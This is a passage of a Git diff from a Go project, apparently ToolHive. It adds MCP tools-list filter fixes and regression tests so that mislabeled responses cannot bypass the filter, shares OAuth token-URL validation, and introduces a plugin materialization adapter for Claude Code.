list. It's a lightweight detector only, used to +// decide whether a mislabeled/untyped 2xx body needs the full SSE processing +// path (which enforces its own completeness and separator rules). +func sniffSSEToolsList(buffer []byte) bool { + normalized := bytes.ReplaceAll(buffer, []byte("\r\n"), []byte("\n")) + normalized = bytes.ReplaceAll(normalized, []byte("\r"), []byte("\n")) + + for _, line := range bytes.Split(normalized, []byte("\n")) { + data, ok := bytes.CutPrefix(line, []byte("data:")) + if !ok { + continue + } + + var candidate toolsListResponse + if json.Unmarshal(bytes.TrimSpace(data), &candidate) == nil && candidate.Result.Tools != nil { + return true + } + } + + return false +} + //nolint:gocyclo func processEventStream( config *toolMiddlewareConfig, diff --git a/pkg/mcp/tool_filter_test.go b/pkg/mcp/tool_filter_test.go index 43d749ac41..58de837dc9 100644 --- a/pkg/mcp/tool_filter_test.go +++ b/pkg/mcp/tool_filter_test.go @@ -6,7 +6,9 @@ package mcp import ( "bytes" "encoding/json" + "errors" "net/http" + "net/http/httptest" "testing" "github.com/stretchr/testify/assert" @@ -837,11 +839,14 @@ func TestProcessBuffer(t *testing.T) { t.Parallel() tests := []struct { - name string - config *toolMiddlewareConfig - buffer []byte - mimeType string - expectError bool + name string + config *toolMiddlewareConfig + buffer []byte + mimeType string + successResponse bool + expectError bool + expectUnsupported bool + expectFiltered bool // asserts allowed_tool survives and blocked_tool is filtered out }{ { name: "JSON with tools list", @@ -850,9 +855,10 @@ func TestProcessBuffer(t *testing.T) { "allowed_tool": {}, }, }, - buffer: []byte(`{"jsonrpc":"2.0","id":1,"result":{"tools":[{"name":"allowed_tool","description":"Allowed"},{"name":"blocked_tool","description":"Blocked"}]}}`), - mimeType: "application/json", - expectError: false, + buffer: []byte(`{"jsonrpc":"2.0","id":1,"result":{"tools":[{"name":"allowed_tool","description":"Allowed"},{"name":"blocked_tool","description":"Blocked"}]}}`), + mimeType: "application/json", + successResponse: true, + expectFiltered: true, }, { name: "SSE with tools list", @@ -865,19 +871,80 @@ func TestProcessBuffer(t *testing.T) { data: {"jsonrpc":"2.0","id":1,"result":{"tools":[{"name":"allowed_tool","description":"Allowed"},{"name":"blocked_tool","description":"Blocked"}]}} `), - mimeType: "text/event-stream", - expectError: false, + mimeType: "text/event-stream", + successResponse: true, + expectFiltered: true, }, { - name: "Unsupported mime type", + name: "Unsupported mime type on an error response", config: &toolMiddlewareConfig{ filterTools: map[string]struct{}{ "any_tool": {}, }, }, - buffer: []byte(`some data`), - mimeType: "text/plain", - expectError: true, + buffer: []byte(`some data`), + mimeType: "text/plain", + successResponse: false, + expectError: true, + expectUnsupported: true, + }, + { + name: "Unsupported mime type on a success response that isn't a tools list", + config: &toolMiddlewareConfig{ + filterTools: map[string]struct{}{ + "any_tool": {}, + }, + }, + buffer: []byte(`{"test":"data"}`), + mimeType: "", + successResponse: true, + expectError: true, + expectUnsupported: true, + }, + { + // Regression test for a follow-up to #5809: a backend cannot bypass + // the filter by omitting/mislabeling Content-Type on an otherwise + // valid, successful tools/list response. + name: "Missing Content-Type on a success response cannot smuggle a JSON tools list", + config: &toolMiddlewareConfig{ + filterTools: map[string]struct{}{ + "allowed_tool": {}, + }, + }, + buffer: []byte(`{"jsonrpc":"2.0","id":1,"result":{"tools":[{"name":"allowed_tool","description":"Allowed"},{"name":"blocked_tool","description":"Blocked"}]}}`), + mimeType: "", + successResponse: true, + expectFiltered: true, + }, + { + name: "Missing Content-Type on a success response cannot smuggle an SSE tools list", + config: &toolMiddlewareConfig{ + filterTools: map[string]struct{}{ + "allowed_tool": {}, + }, + }, + buffer: []byte(`event: message +data: {"jsonrpc":"2.0","id":1,"result":{"tools":[{"name":"allowed_tool","description":"Allowed"},{"name":"blocked_tool","description":"Blocked"}]}} + +`), + mimeType: "", + successResponse: true, + expectFiltered: true, + }, + { + // Regression test for a follow-up to #5809: a hard filtering failure + // (a tool missing its required name) must fail closed, not fall back + // to passing the unfiltered body through. + name: "Malformed tools list under a sniffed missing Content-Type fails closed", + config: &toolMiddlewareConfig{ + filterTools: map[string]struct{}{ + "allowed_tool": {}, + }, + }, + buffer: []byte(`{"jsonrpc":"2.0","id":1,"result":{"tools":[{"description":"no name"}]}}`), + mimeType: "", + successResponse: true, + expectError: true, }, { name: "Empty buffer", @@ -886,9 +953,9 @@ data: {"jsonrpc":"2.0","id":1,"result":{"tools":[{"name":"allowed_tool","descrip "any_tool": {}, }, }, - buffer: []byte{}, - mimeType: "application/json", - expectError: false, + buffer: []byte{}, + mimeType: "application/json", + successResponse: true, }, } @@ -897,12 +964,19 @@ data: {"jsonrpc":"2.0","id":1,"result":{"tools":[{"name":"allowed_tool","descrip t.Parallel() var buf bytes.Buffer - err := processBuffer(tt.config, tt.buffer, tt.mimeType, &buf) + err := processBuffer(tt.config, tt.buffer, tt.mimeType, tt.successResponse, &buf) if tt.expectError { assert.Error(t, err) - } else { - assert.NoError(t, err) + assert.Equal(t, tt.expectUnsupported, errors.Is(err, errUnsupportedMimeType), + "errors.Is(err, errUnsupportedMimeType) mismatch") + return + } + + require.NoError(t, err) + if tt.expectFiltered { + assert.Contains(t, buf.String(), "allowed_tool") + assert.NotContains(t, buf.String(), "blocked_tool") } }) } @@ -1184,7 +1258,7 @@ func TestToolFilterWriter_Flush(t *testing.T) { }, }, expectWrite: true, - expectReset: false, // Buffer is not reset when no content type + expectReset: true, }, { name: "with status code - should set header and write", @@ -1252,6 +1326,127 @@ func TestToolFilterWriter_Flush(t *testing.T) { } } +// TestToolFilterWriter_Flush_NoContentTypeDoesNotDuplicateOnRepeatedFlush is a +// regression test: the no-content-type branch of Flush() used to skip resetting +// the buffer, so a second Flush() call (e.g. the post-ServeHTTP drain added for +// #5797, on top of a downstream flush) would rewrite the same bytes again. +func TestToolFilterWriter_Flush_NoContentTypeDoesNotDuplicateOnRepeatedFlush(t *testing.T) { + t.Parallel() + + mockWriter := &mockResponseWriter{ + headers: make(http.Header), + buffer: &bytes.Buffer{}, + } + + rw := &toolFilterWriter{ + ResponseWriter: mockWriter, + buffer: []byte{}, + config: &toolMiddlewareConfig{}, + } + + data := []byte(`{"test":"data"}`) + written, err := rw.Write(data) + require.NoError(t, err) + assert.Equal(t, len(data), written) + + rw.Flush() + rw.Flush() + + assert.Equal(t, string(data), mockWriter.buffer.String(), "second flush should not rewrite already-flushed bytes") +} + +// TestToolFilterWriter_Flush_IncompleteBodyStaysBufferedAndDoesNotFlush is a +// regression test for a follow-up to #5809: Flush() must not forward the +// transport-level flush when the buffered body is incomplete (an SSE event +// with no trailing separator, or a truncated JSON object). Forwarding it +// there would flush a partial frame to the wire; the original Flush() +// implementation returned before reaching the transport flush in this case, +// but an early refactor of this fix lost that guard. +func TestToolFilterWriter_Flush_IncompleteBodyStaysBufferedAndDoesNotFlush(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + contentType string + writeData []byte + }{ + { + name: "truncated JSON", + contentType: "application/json", + writeData: []byte(`{"jsonrpc":"2.0","id":1,"result":{"tools":[{"name"`), + }, + { + name: "SSE event with no trailing separator", + contentType: "text/event-stream", + writeData: []byte(`data: {"jsonrpc":"2.0","id":1,"result":{"tools":[{"name":"tool1"}]}}`), + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + mockWriter := &mockResponseWriter{ + headers: make(http.Header), + buffer: &bytes.Buffer{}, + } + mockWriter.headers.Set("Content-Type", tt.contentType) + + rw := &toolFilterWriter{ + ResponseWriter: mockWriter, + config: &toolMiddlewareConfig{}, + statusCode: http.StatusOK, + } + + _, err := rw.Write(tt.writeData) + require.NoError(t, err) + + rw.Flush() + + assert.Equal(t, 0, mockWriter.writeCount, "incomplete body must not be written to the client yet") + assert.Equal(t, 0, mockWriter.flushCount, "an incomplete body must not trigger a transport-level flush") + assert.Equal(t, tt.writeData, rw.buffer, "incomplete body must remain buffered for a later Flush") + }) + } +} + +// TestToolFilterWriter_FlushThenFinishDoesNotDuplicate is a regression test +// for a follow-up to #5809: once an explicit Flush() has fully drained and +// processed a body, a later terminal finish() call (e.g. because the +// wrapped ServeHTTP has returned) must be a no-op -- it must not rewrite the +// body a second time, and must not trigger an extra transport-level flush, +// since finish() never forwards one by design. +func TestToolFilterWriter_FlushThenFinishDoesNotDuplicate(t *testing.T) { + t.Parallel() + + mockWriter := &mockResponseWriter{ + headers: make(http.Header), + buffer: &bytes.Buffer{}, + } + mockWriter.headers.Set("Content-Type", "application/json") + + rw := &toolFilterWriter{ + ResponseWriter: mockWriter, + config: &toolMiddlewareConfig{filterTools: map[string]struct{}{"tool1": {}}}, + statusCode: http.StatusOK, + } + + body := `{"jsonrpc":"2.0","id":1,"result":{"tools":[{"name":"tool1","description":"d1"},{"name":"tool2","description":"d2"}]}}` + _, err := rw.Write([]byte(body)) + require.NoError(t, err) + + rw.Flush() + require.Equal(t, 1, mockWriter.writeCount, "Flush should have written the filtered body exactly once") + require.Equal(t, 1, mockWriter.flushCount, "Flush should have forwarded exactly one transport flush") + + rw.finish() + + assert.Equal(t, 1, mockWriter.writeCount, "finish must not rewrite a body Flush already drained") + assert.Equal(t, 1, mockWriter.flushCount, "finish must not forward an additional transport flush") + assert.Contains(t, mockWriter.buffer.String(), "tool1") + assert.NotContains(t, mockWriter.buffer.String(), "tool2") +} + // TestToolFilterWriter_WriteHeader verifies that Content-Length is stripped // from the underlying ResponseWriter's headers regardless of content type. // The middleware re-encodes tool list responses to apply filters/overrides, @@ -1314,12 +1509,14 @@ func TestToolFilterWriter_WriteHeader(t *testing.T) { } } -// mockResponseWriter implements http.ResponseWriter for testing +// mockResponseWriter implements http.ResponseWriter (and http.Flusher, so +// tests can observe whether a transport-level flush was forwarded) for testing. type mockResponseWriter struct { headers http.Header buffer *bytes.Buffer writeCount int statusCode int + flushCount int } func (m *mockResponseWriter) Header() http.Header { @@ -1335,6 +1532,10 @@ func (m *mockResponseWriter) WriteHeader(statusCode int) { m.statusCode = statusCode } +func (m *mockResponseWriter) Flush() { + m.flushCount++ +} + func TestNewToolFilterMiddleware(t *testing.T) { t.Parallel() @@ -1500,3 +1701,177 @@ func TestWithToolsOverride(t *testing.T) { }) } } + +// TestNewListToolsMappingMiddleware_FlushesStrandedBuffer is a regression test for #5797. +// +// An inner handler (e.g. authz's response filtering writer) may write the final +// response body into our buffer during its own post-ServeHTTP flush, i.e. after +// next.ServeHTTP has already returned to us but without calling our Flush(). If +// the middleware doesn't explicitly flush its own writer after next.ServeHTTP +// returns, that body is stranded in the buffer and never reaches the client. +func TestNewListToolsMappingMiddleware_FlushesStrandedBuffer(t *testing.T) { + t.Parallel() + + middleware, err := NewListToolsMappingMiddleware(WithToolsFilter("tool1")) + require.NoError(t, err) + + body := `{"jsonrpc":"2.0","id":1,"result":{"tools":[` + + `{"name":"tool1","description":"desc1"},` + + `{"name":"tool2","description":"desc2"}]}}` + + // Mimics an inner buffering middleware (e.g. authz's FlushAndFilter) that + // writes the response body directly into the wrapped writer without ever + // calling Flush() on it itself. + inner := http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(http.StatusOK) + _, writeErr := w.Write([]byte(body)) + require.NoError(t, writeErr) + }) + + handler := middleware(inner) + + req := httptest.NewRequest(http.MethodPost, "/", nil) + recorder := httptest.NewRecorder() + + handler.ServeHTTP(recorder, req) + + assert.NotEmpty(t, recorder.Body.String()) + assert.Contains(t, recorder.Body.String(), "tool1") + assert.NotContains(t, recorder.Body.String(), "tool2") +} + +// TestNewListToolsMappingMiddleware_TerminalDrainPassesThroughUnsupportedContentType +// is a regression test for a follow-up to #5797/#5809: the terminal drain added +// to flush a stranded buffer must not discard a body it doesn't know how to +// process. An inner handler that fails with a plain-text error (e.g. +// http.Error, which sets "text/plain; charset=utf-8") is neither +// application/json nor text/event-stream, so processBuffer() rejects it with +// an "unsupported mime type" error. Before this fix, that error path wrote an +// empty buffer to the client and discarded the original error body. +func TestNewListToolsMappingMiddleware_TerminalDrainPassesThroughUnsupportedContentType(t *testing.T) { + t.Parallel() + + middleware, err := NewListToolsMappingMiddleware(WithToolsFilter("tool1")) + require.NoError(t, err) + + tests := []struct { + name string + statusCode int + }{ + {name: "4xx body", statusCode: http.StatusBadRequest}, + {name: "5xx body", statusCode: http.StatusInternalServerError}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + inner := http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { + http.Error(w, "backend unavailable", tt.statusCode) + }) + + handler := middleware(inner) + + req := httptest.NewRequest(http.MethodPost, "/", nil) + recorder := httptest.NewRecorder() + + handler.ServeHTTP(recorder, req) + + assert.Equal(t, tt.statusCode, recorder.Code) + assert.Contains(t, recorder.Body.String(), "backend unavailable", + "the original error body must reach the client unchanged") + }) + } +} + +// TestNewListToolsMappingMiddleware_FailsClosedOnMalformedToolsList is a +// regression test for a follow-up to #5809: a successful, correctly-labeled +// tools/list response that fails our own filtering logic (here, a tool +// missing its required name) must not fall back to passing the raw, +// unfiltered body through -- that would defeat the tool filter entirely. +func TestNewListToolsMappingMiddleware_FailsClosedOnMalformedToolsList(t *testing.T) { + t.Parallel() + + middleware, err := NewListToolsMappingMiddleware(WithToolsFilter("tool1")) + require.NoError(t, err) + + // "blocked_tool" is missing its required "name" field, so filtering fails. + body := `{"jsonrpc":"2.0","id":1,"result":{"tools":[` + + `{"name":"tool1","description":"desc1"},` + + `{"description":"missing name"}]}}` + + inner := http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(http.StatusOK) + _, writeErr := w.Write([]byte(body)) + require.NoError(t, writeErr) + }) + + handler := middleware(inner) + + req := httptest.NewRequest(http.MethodPost, "/", nil) + recorder := httptest.NewRecorder() + + handler.ServeHTTP(recorder, req) + + assert.NotContains(t, recorder.Body.String(), "tool1", + "a hard filtering failure must not leak the unfiltered tools list") + assert.NotContains(t, recorder.Body.String(), "missing name") +} + +// TestNewListToolsMappingMiddleware_MissingContentTypeCannotSmuggleToolsList +// is a regression test for a follow-up to #5809: a backend cannot bypass the +// configured tool filter by returning an otherwise-valid, successful +// tools/list response without a Content-Type header (or with an unrelated +// one). Covers both wire formats the filter supports. +func TestNewListToolsMappingMiddleware_MissingContentTypeCannotSmuggleToolsList(t *testing.T) { + t.Parallel() + + middleware, err := NewListToolsMappingMiddleware(WithToolsFilter("tool1")) + require.NoError(t, err) + + tests := []struct { + name string + body string + }{ + { + name: "JSON tools list with no Content-Type", + body: `{"jsonrpc":"2.0","id":1,"result":{"tools":[` + + `{"name":"tool1","description":"desc1"},` + + `{"name":"tool2","description":"desc2"}]}}`, + }, + { + name: "SSE tools list with no Content-Type", + body: "event: message\n" + + `data: {"jsonrpc":"2.0","id":1,"result":{"tools":[` + + `{"name":"tool1","description":"desc1"},` + + `{"name":"tool2","description":"desc2"}]}}` + "\n\n", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + inner := http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { + // No Content-Type set: the backend is either buggy or actively + // trying to bypass the filter by not declaring one. + w.WriteHeader(http.StatusOK) + _, writeErr := w.Write([]byte(tt.body)) + require.NoError(t, writeErr) + }) + + handler := middleware(inner) + + req := httptest.NewRequest(http.MethodPost, "/", nil) + recorder := httptest.NewRecorder() + + handler.ServeHTTP(recorder, req) + + assert.Contains(t, recorder.Body.String(), "tool1") + assert.NotContains(t, recorder.Body.String(), "tool2", + "the excluded tool must not be exposed just because Content-Type was missing") + }) + } +} diff --git a/pkg/oauthproto/jwtbearer/doc.go b/pkg/oauthproto/jwtbearer/doc.go index 2ec13d970f..812ddbc5eb 100644 --- a/pkg/oauthproto/jwtbearer/doc.go +++ b/pkg/oauthproto/jwtbearer/doc.go @@ -3,5 +3,6 @@ // Package jwtbearer provides an OAuth 2.0 JWT Bearer Grant (RFC 7523) implementation. // It exchanges a JWT assertion (such as an ID-JAG) for an access token at a target -// authorization server. +// authorization server. It also exposes ValidateTokenURL, a shared token-endpoint +// URL validator reused by other OAuth token-exchange strategies in this repo. package jwtbearer diff --git a/pkg/oauthproto/jwtbearer/grant.go b/pkg/oauthproto/jwtbearer/grant.go index 3b1f605f04..4dd9b40f7a 100644 --- a/pkg/oauthproto/jwtbearer/grant.go +++ b/pkg/oauthproto/jwtbearer/grant.go @@ -37,7 +37,7 @@ type Config struct { // Scopes are the requested scopes for the access token. Scopes []string - // AssertionProvider returns the JWT assertion (e.g., the ID-JAG from Step A). + // AssertionProvider returns the JWT assertion (e.g., the ID-JAG from XAA's IdP exchange). // Called on each Token() invocation; must not be nil. The returned JWT must // satisfy RFC 7523 Section 3 (iss/sub/aud/exp). For an ID-JAG the aud is the // Resource AS issuer identifier (per draft-ietf-oauth-identity-assertion-authz-grant), @@ -55,39 +55,51 @@ type Config struct { InsecureAllowHTTP bool } -// Validate checks that the Config contains all required fields. -func (c *Config) Validate() error { - if c.TokenURL == "" { - return fmt.Errorf("TokenURL is required") - } - - if c.AssertionProvider == nil { - return fmt.Errorf("AssertionProvider is required") - } - - // Validate TokenURL: must be https (or http on localhost) per RFC 6749 Section 3.2 - // and RFC 7523 Section 7. Reuses the repo-wide endpoint validator for scheme, - // and adds host and fragment checks that it does not perform. - if err := networking.ValidateEndpointURLWithInsecure(c.TokenURL, c.InsecureAllowHTTP); err != nil { - return fmt.Errorf("TokenURL: %w", err) +// ValidateTokenURL checks that a token endpoint URL is syntactically valid: an +// http or https scheme, a host, no fragment, and no embedded credentials. The +// http(s)-only scheme check is enforced unconditionally, even when +// insecureAllowHTTP is true — insecureAllowHTTP only relaxes the HTTPS +// requirement (permitting plain HTTP on any host, not just localhost), it does +// not permit other schemes such as ftp://. label prefixes every error message +// (e.g. "TokenURL", "IDPTokenURL") so call sites can identify which field +// failed. Shared by jwtbearer.Config.Validate and the vMCP XAA strategy +// (pkg/vmcp/auth/strategies), which both validate OAuth token endpoints. +func ValidateTokenURL(label, endpoint string, insecureAllowHTTP bool) error { + if err := networking.ValidateEndpointURLWithInsecure(endpoint, insecureAllowHTTP); err != nil { + return fmt.Errorf("%s: %w", label, err) } - u, err := url.Parse(c.TokenURL) + u, err := url.Parse(endpoint) if err != nil { - return fmt.Errorf("TokenURL is not a valid URL: %w", err) + return fmt.Errorf("%s is not a valid URL: %w", label, err) + } + if u.Scheme != "http" && u.Scheme != "https" { + return fmt.Errorf("%s must use http or https scheme", label) } if u.Host == "" { - return fmt.Errorf("TokenURL must include a host") + return fmt.Errorf("%s must include a host", label) } if u.Fragment != "" { - return fmt.Errorf("TokenURL must not contain a fragment") + return fmt.Errorf("%s must not contain a fragment", label) } if u.User != nil { - return fmt.Errorf("TokenURL must not contain embedded credentials") + return fmt.Errorf("%s must not contain embedded credentials", label) } - return nil } +// Validate checks that the Config contains all required fields. +func (c *Config) Validate() error { + if c.TokenURL == "" { + return fmt.Errorf("TokenURL is required") + } + + if c.AssertionProvider == nil { + return fmt.Errorf("AssertionProvider is required") + } + + return ValidateTokenURL("TokenURL", c.TokenURL, c.InsecureAllowHTTP) +} + // String implements fmt.Stringer for Config, redacting sensitive fields. func (c *Config) String() string { assertion := oauthproto.Redact("") diff --git a/pkg/oauthproto/jwtbearer/grant_test.go b/pkg/oauthproto/jwtbearer/grant_test.go index 32449a8566..2b2f22362e 100644 --- a/pkg/oauthproto/jwtbearer/grant_test.go +++ b/pkg/oauthproto/jwtbearer/grant_test.go @@ -99,6 +99,15 @@ func TestConfig_Validate(t *testing.T) { }, wantErr: "must use HTTPS", }, + { + name: "non-http scheme is rejected even with InsecureAllowHTTP", + config: Config{ + TokenURL: "ftp://as.example.com/token", + InsecureAllowHTTP: true, + AssertionProvider: func() (string, error) { return testAssertion, nil }, + }, + wantErr: "must use http or https scheme", + }, { name: "fragment is rejected", config: Config{ diff --git a/pkg/oauthproto/tokenexchange/exchange.go b/pkg/oauthproto/tokenexchange/exchange.go index 0308efeec4..55d90f6a81 100644 --- a/pkg/oauthproto/tokenexchange/exchange.go +++ b/pkg/oauthproto/tokenexchange/exchange.go @@ -241,7 +241,7 @@ func (ts *tokenSource) Token() (*oauth2.Token, error) { } // Surface the RFC 8693 issued_token_type so callers can verify the server - // returned the type they asked for (e.g., XAA Step A requires an ID-JAG). + // returned the type they asked for (e.g., XAA's IdP exchange requires an ID-JAG). token := resp.Token.WithExtra(map[string]any{ "issued_token_type": resp.IssuedTokenType, }) diff --git a/pkg/plugins/adapter.go b/pkg/plugins/adapter.go new file mode 100644 index 0000000000..47a8fc0d44 --- /dev/null +++ b/pkg/plugins/adapter.go @@ -0,0 +1,114 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package plugins + +import "context" + +//go:generate mockgen -destination=mocks/mock_adapter.go -package=mocks -source=adapter.go MaterializationAdapter + +// ComponentType enumerates plugin component classes. The string values match +// the keys of ociplugins.ComponentInventory (commands/agents/skills/hooks/ +// mcpServers/lspServers). +type ComponentType string + +// Component type constants. The string values match the keys of +// ociplugins.ComponentInventory (commands/agents/skills/hooks/mcpServers/ +// lspServers). +const ( + ComponentCommands ComponentType = "commands" + ComponentAgents ComponentType = "agents" + ComponentSkills ComponentType = "skills" + ComponentHooks ComponentType = "hooks" + ComponentMCP ComponentType = "mcpServers" + ComponentLSP ComponentType = "lspServers" +) + +// MaterializeRequest carries everything an adapter needs to install a plugin +// into a target client's directory layout. +type MaterializeRequest struct { + // Name is the plugin name (kebab-case). + Name string + // LayerData is the OCI tar.gz layer containing the whole plugin tree + // (commands/, agents/, skills/, hooks/, .claude-plugin/). Produced by + // OCI pull or built in-memory from a git clone. + LayerData []byte + // Scope is the installation scope (user or project). + Scope Scope + // ProjectRoot is the project root path for project-scoped installs. + // Empty for user-scoped. + ProjectRoot string + // Components is the plugin's component inventory, used to warn on + // component types the adapter does not materialize (e.g. Codex drops + // commands/agents). + Components ComponentInventory +} + +// DematerializeRequest carries everything an adapter needs to revert a plugin +// installation. It mirrors MaterializeRequest so the two sides of the seam stay +// symmetric — the first client that needs more context to revert cleanly gets it +// without forcing an interface break. +type DematerializeRequest struct { + // Name is the plugin name (kebab-case). + Name string + // Scope is the installation scope (user or project). + Scope Scope + // ProjectRoot is the project root path for project-scoped installs. + // Empty for user-scoped. + ProjectRoot string +} + +// MaterializeResult reports what was written and what was deliberately dropped. +type MaterializeResult struct { + // InstalledComponents lists the component types the adapter materialized. + InstalledComponents []ComponentType + // DroppedComponents lists component types the plugin declares that this + // adapter does NOT materialize. + DroppedComponents []ComponentType + // InstallPath is the root directory the adapter wrote (informational). + InstallPath string + // ProjectScopeDegraded is true when a project-scope install degrades + // because the target client only supports user-scope materialization. + ProjectScopeDegraded bool +} + +// ScopeSupport lets Info report project-scope degradation without re-running +// Materialize. A single client-wide boolean can't express "degrades only for +// these components" or carry a reason, so the descriptor generalizes the former +// DegradesOnProjectScope() bool. +type ScopeSupport struct { + // DegradesOnProjectScope is true when a project-scoped install degrades + // for this client (typically because the adapter mutates a user-scoped + // config file). + DegradesOnProjectScope bool + // Reason is an optional human-readable explanation intended for future + // surfacing via Info (not yet consumed by Info — it currently reads only + // DegradesOnProjectScope). Empty when the client does not degrade. + Reason string +} + +// MaterializationAdapter materializes a plugin into a target client's layout +// and reverts its own mutations. It generalizes skills.PathResolver: instead +// of resolving a single skill path, it owns extraction + (optional) config +// mutation for a multi-component plugin tree, because the materialization +// strategy differs per client (Claude Code = pure filesystem; Codex = FS +// cache + TOML mutation). +type MaterializationAdapter interface { + // Materialize extracts the plugin into the client's directory layout and, + // for config-based clients, mutates the client config. Must be idempotent + // for re-installs under the same (name, scope, projectRoot) — a force + // reinstall overwrites the prior install. + Materialize(ctx context.Context, req MaterializeRequest) (*MaterializeResult, error) + // Dematerialize removes the plugin's filesystem footprint and reverts any + // config mutations the adapter itself made. Must be idempotent: a missing + // install is not an error. + Dematerialize(ctx context.Context, req DematerializeRequest) error + // SupportedComponents returns the component types this adapter loads. + SupportedComponents() []ComponentType + // ScopeSupport reports whether a project-scoped install degrades for this + // client — i.e. the adapter can only materialize at user scope (typically + // because it mutates a user-scoped config file). The returned struct also + // carries an optional reason (not yet consumed by Info). Used by Info to + // surface ProjectScopeDegradedClients without re-running Materialize. + ScopeSupport() ScopeSupport +} diff --git a/pkg/plugins/adapters/claudecode.go b/pkg/plugins/adapters/claudecode.go new file mode 100644 index 0000000000..546ee5ec06 --- /dev/null +++ b/pkg/plugins/adapters/claudecode.go @@ -0,0 +1,486 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +// Package adapters contains MaterializationAdapter implementations for +// each MCP client that supports plugins. +package adapters + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "os" + "path/filepath" + "sort" + "strings" + + "github.com/tailscale/hujson" + + "github.com/stacklok/toolhive/pkg/client" + "github.com/stacklok/toolhive/pkg/fileutils" + "github.com/stacklok/toolhive/pkg/plugins" + "github.com/stacklok/toolhive/pkg/skills" +) + +// ClaudeCodeAdapter materializes plugins into Claude Code's +// ~/.claude/plugins/ directory and registers them in Claude Code's +// settings.json so the plugin is actually loaded. Claude Code loads a plugin via +// a marketplace: a single shared marketplace.json at the plugins root +// (~/.claude/plugins/.claude-plugin/marketplace.json) lists every ToolHive +// plugin, and settings.json carries an extraKnownMarketplaces entry (a +// "directory" source pointing at that root) plus an enabledPlugins entry. +// +// The marketplace manifest and settings source type follow the Claude Code +// plugin marketplace schema: the manifest has top-level name/owner/plugins, each +// plugin's source is a "./" relative path resolved against the marketplace +// root, and the extraKnownMarketplaces source type is "directory". +// See https://code.claude.com/docs/en/plugin-marketplaces. +type ClaudeCodeAdapter struct { + cm *client.ClientManager + installer skills.Installer +} + +// NewClaudeCodeAdapter returns a ClaudeCodeAdapter backed by the given +// ClientManager and a production skills.Installer. +func NewClaudeCodeAdapter(cm *client.ClientManager) *ClaudeCodeAdapter { + return &ClaudeCodeAdapter{ + cm: cm, + installer: skills.NewInstaller(), + } +} + +var claudeCodeSupported = []plugins.ComponentType{ + plugins.ComponentCommands, + plugins.ComponentAgents, + plugins.ComponentSkills, + plugins.ComponentHooks, +} + +// marketplaceName is the marketplace key under which ToolHive-installed +// plugins are declared, both in the shared marketplace.json manifest and in +// settings.json's extraKnownMarketplaces object. +const marketplaceName = "toolhive" + +// Materialize extracts the plugin layer into the Claude Code plugins directory +// and registers it in settings.json so Claude Code loads the plugin. +func (a *ClaudeCodeAdapter) Materialize(_ context.Context, req plugins.MaterializeRequest) (*plugins.MaterializeResult, error) { + dir, err := a.cm.GetPluginPath(client.ClaudeCode, req.Name, req.Scope, req.ProjectRoot) + if err != nil { + return nil, fmt.Errorf("resolving plugin path: %w", err) + } + + if _, err := a.installer.ExtractPlugin(req.LayerData, dir, true); err != nil { + return nil, fmt.Errorf("extracting plugin: %w", err) + } + + // The marketplace root is the plugins parent directory; each plugin lives in + // a "" subdirectory referenced as a "./" source. + marketplaceRoot := filepath.Dir(dir) + + // Upsert the plugin into the shared marketplace.json at the plugins root so + // Claude Code resolves it under the "toolhive" marketplace. + if err := upsertClaudeMarketplace(marketplaceRoot, req.Name); err != nil { + return nil, fmt.Errorf("writing marketplace.json: %w", err) + } + + // Patch settings.json to enable the plugin under the toolhive marketplace. + settingsPath := a.settingsPath(req.Scope, req.ProjectRoot) + if err := enablePluginInSettings(settingsPath, req.Name, marketplaceRoot); err != nil { + return nil, fmt.Errorf("enabling plugin in settings.json: %w", err) + } + + return &plugins.MaterializeResult{ + InstalledComponents: claudeCodeSupported, + DroppedComponents: droppedComponents(req.Components, claudeCodeSupported), + InstallPath: dir, + ProjectScopeDegraded: false, + }, nil +} + +// Dematerialize removes the plugin directory, cleans up empty parents, and +// reverts the settings.json mutations made during Materialize. +func (a *ClaudeCodeAdapter) Dematerialize(_ context.Context, req plugins.DematerializeRequest) error { + dir, err := a.cm.GetPluginPath(client.ClaudeCode, req.Name, req.Scope, req.ProjectRoot) + if err != nil { + return fmt.Errorf("resolving plugin path: %w", err) + } + + if err := a.installer.Remove(dir); err != nil { + return fmt.Errorf("removing plugin directory: %w", err) + } + + // Remove the plugin from the shared marketplace.json (idempotent). Done + // before the empty-parent cleanup so that, once the marketplace file and its + // .claude-plugin directory are gone, cleanup can reclaim the now-empty + // plugins root too. + marketplaceRoot := filepath.Dir(dir) + if err := removeClaudeMarketplace(marketplaceRoot, req.Name); err != nil { + return fmt.Errorf("removing plugin from marketplace.json: %w", err) + } + + // Best-effort empty-parent cleanup. + cleanupAfterRemove(dir, req.Scope, req.ProjectRoot, a.cm.HomeDir()) + + // Revert the settings.json mutations (idempotent). + settingsPath := a.settingsPath(req.Scope, req.ProjectRoot) + if err := disablePluginInSettings(settingsPath, req.Name); err != nil { + return fmt.Errorf("disabling plugin in settings.json: %w", err) + } + + return nil +} + +// SupportedComponents returns the component types Claude Code loads. +func (*ClaudeCodeAdapter) SupportedComponents() []plugins.ComponentType { + return claudeCodeSupported +} + +// ScopeSupport returns false for Claude Code: it supports both user and +// project plugin directories, so a project-scoped install lands in the project +// directory without degradation. +func (*ClaudeCodeAdapter) ScopeSupport() plugins.ScopeSupport { + return plugins.ScopeSupport{DegradesOnProjectScope: false} +} + +// --- settings.json mutation helpers --- + +// settingsPath returns the absolute path to the Claude Code settings.json for +// the given scope: user scope uses /.claude/settings.json, project scope +// uses /.claude/settings.json. +func (a *ClaudeCodeAdapter) settingsPath(scope plugins.Scope, projectRoot string) string { + if scope == plugins.ScopeProject && projectRoot != "" { + return filepath.Join(projectRoot, ".claude", "settings.json") + } + return filepath.Join(a.cm.HomeDir(), ".claude", 